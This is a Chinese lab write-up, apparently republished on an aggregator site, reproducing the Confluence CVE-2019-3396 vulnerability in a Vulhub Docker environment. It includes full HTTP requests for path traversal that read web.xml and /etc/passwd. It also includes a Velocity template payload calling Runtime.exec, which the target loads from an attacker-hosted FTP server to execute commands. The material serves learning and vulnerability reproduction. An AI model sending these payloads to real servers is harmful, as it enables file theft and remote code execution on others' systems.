Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

本文主要是介绍Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

  • 00.前言
  • 01.Atlassian Confluence 简介
  • 02.漏洞描述
  • 03.漏洞复现
    • **0x01安装**
    • **0x02.漏洞复现**

00.前言


这篇文章将对该漏洞进行简介并复现,同时简要说明Vulhub的使用方法,适合小白一起学习,大佬看看就好☺


01.Atlassian Confluence 简介

  Atlassian Confluence(简称Confluence)是一个专业的wiki程序(是一种在网络上开放且可供多人协同创作的超文本系统)。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享。
  Confluence 不是一个开源软件,非商业用途可以免费使用。
其使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息,文档协作,集体讨论;目前,Confluence被用于广泛地用于项目团队,开发团队,市场销售团队。


02.漏洞描述

  在Widget连接器中的Confluence Server和Data Center中存在一个服务器端模板注入漏洞。 攻击者可以利用此问题在运行漏洞版本的Confluence Server或Data Center的系统上实现服务器端模板注入,路径遍历和远程代码执行。

  6.6.12之前的版本,从6.12.3之前的6.7.0版本(6.12.x的固定版本)到6.13.3之前的版本6.13.0(6.13的固定版本)的所有版本的Confluence Server和Confluence数据中心。 x)和6.14.2之前的6.14.0版本(6.14.x的固定版本)开始。

参考:https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

原理:https://paper.seebug.org/884/


03.漏洞复现

靶机ip:192.168.10.139,os:Ubuntu 16.04 LTS
攻击主机:ip:192.168.10.131, os:Win7,工具:burpsuite

  老样子:首先,在vulhub-master中漏洞的相应位置打开终端,输入docker-compose up -d打开环境:

  docker-compose up -d

  然后输入docker ps查看环境是否打开成功:

  docker ps

  成功后接下来便可以开始漏洞的复现了。访问http://your-ip:8090会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons):

0x01安装


1:选择“Trial installation”
在这里插入图片描述


2:点击“Get an evaluation license”
在这里插入图片描述


3:申请一个Confluence Server的测试证书(不要选择Data Center和Addons)

在这里插入图片描述


4:申请的时候比较慢,将KEY复制并粘贴到登录页,然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
在这里插入图片描述


5:如果提示填写cluster node,路径填写 /home/confluence即可

在这里插入图片描述


6:继续填写数据库账号密码,选择postgres数据库,地址为 db,账号密码均为 postgres
在这里插入图片描述


7:接下来的内容随意选择填写···
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x02.漏洞复现


路径穿越:

发送如下数据包即可读取文件 web.xml

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host:靶机_ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://靶机_ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

在这里插入图片描述可以看出成功读取web.xml~


6.12以前的Confluence没有限制文件读取的协议和路径,修改请求中_template参数的值,即可实现本地文件包含,我们可以使用 file:///etc/passwd来读取文件 :

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host:靶机_ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://靶机_ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

在这里插入图片描述


远程代码执行漏洞:

  修改请求中_template参数的值,可以包含远程文件,支持https协议,http目前无法利用 。
  先在根目录下添加一个 r.vm文件,内容:

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())$scan.next()
#end

  然后开一个简单的ftp服务器,我看到很多文章中用的攻击机都是kali,可以很方便地使用python启动服务:

python -m pip install pyftpdlib
python -m pyftplib -p 21

那win7就麻烦一点但也很简单参考一下百度就好:
https://www.cnblogs.com/acode/p/5420709.html
(其中一步:身份验证,选择匿名就可!)

在这里插入图片描述

修改_ template参数的值为 ftp://192.168.10.131:21(攻击机ip:其端口)/r.vm并在其后加入 command值,设置为 id:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 198{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.10.131:21/r.vm","command":"id"}}}

在这里插入图片描述成功执行命令,复现成功~


修复建议

升级Confluence版本即可


结束语:这是抬锅整理出来的复现过程希望能对大家有帮助☺

参考:https://www.cnblogs.com/-Anguvia-/p/14618509.html

这篇关于Vulhub漏洞系列:Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/241199

相关文章

nginx启动命令和默认配置文件的使用

《nginx启动命令和默认配置文件的使用》:本文主要介绍nginx启动命令和默认配置文件的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录常见命令nginx.conf配置文件location匹配规则图片服务器总结常见命令# 默认配置文件启动./nginx

SpringBoot项目配置logback-spring.xml屏蔽特定路径的日志

《SpringBoot项目配置logback-spring.xml屏蔽特定路径的日志》在SpringBoot项目中,使用logback-spring.xml配置屏蔽特定路径的日志有两种常用方式,文中的... 目录方案一:基础配置(直接关闭目标路径日志)方案二:结合 Spring Profile 按环境屏蔽关

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1

Java -jar命令如何运行外部依赖JAR包

《Java-jar命令如何运行外部依赖JAR包》在Java应用部署中,java-jar命令是启动可执行JAR包的标准方式,但当应用需要依赖外部JAR文件时,直接使用java-jar会面临类加载困... 目录引言:外部依赖JAR的必要性一、问题本质:类加载机制的限制1. Java -jar的默认行为2. 类加

git stash命令基本用法详解

《gitstash命令基本用法详解》gitstash是Git中一个非常有用的命令,它可以临时保存当前工作区的修改,让你可以切换到其他分支或者处理其他任务,而不需要提交这些还未完成的修改,这篇文章主要... 目录一、基本用法1. 保存当前修改(包括暂存区和工作区的内容)2. 查看保存了哪些 stash3. 恢

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

VSCode设置python SDK路径的实现步骤

《VSCode设置pythonSDK路径的实现步骤》本文主要介绍了VSCode设置pythonSDK路径的实现步骤,包括命令面板切换、settings.json配置、环境变量及虚拟环境处理,具有一定... 目录一、通过命令面板快速切换(推荐方法)二、通过 settings.json 配置(项目级/全局)三、

java -jar命令运行 jar包时运行外部依赖jar包的场景分析

《java-jar命令运行jar包时运行外部依赖jar包的场景分析》:本文主要介绍java-jar命令运行jar包时运行外部依赖jar包的场景分析,本文给大家介绍的非常详细,对大家的学习或工作... 目录Java -jar命令运行 jar包时如何运行外部依赖jar包场景:解决:方法一、启动参数添加: -Xb

使用Python和Matplotlib实现可视化字体轮廓(从路径数据到矢量图形)

《使用Python和Matplotlib实现可视化字体轮廓(从路径数据到矢量图形)》字体设计和矢量图形处理是编程中一个有趣且实用的领域,通过Python的matplotlib库,我们可以轻松将字体轮廓... 目录背景知识字体轮廓的表示实现步骤1. 安装依赖库2. 准备数据3. 解析路径指令4. 绘制图形关键

Linux基础命令@grep、wc、管道符的使用详解

《Linux基础命令@grep、wc、管道符的使用详解》:本文主要介绍Linux基础命令@grep、wc、管道符的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录grep概念语法作用演示一演示二演示三,带选项 -nwc概念语法作用wc,不带选项-c,统计字节数-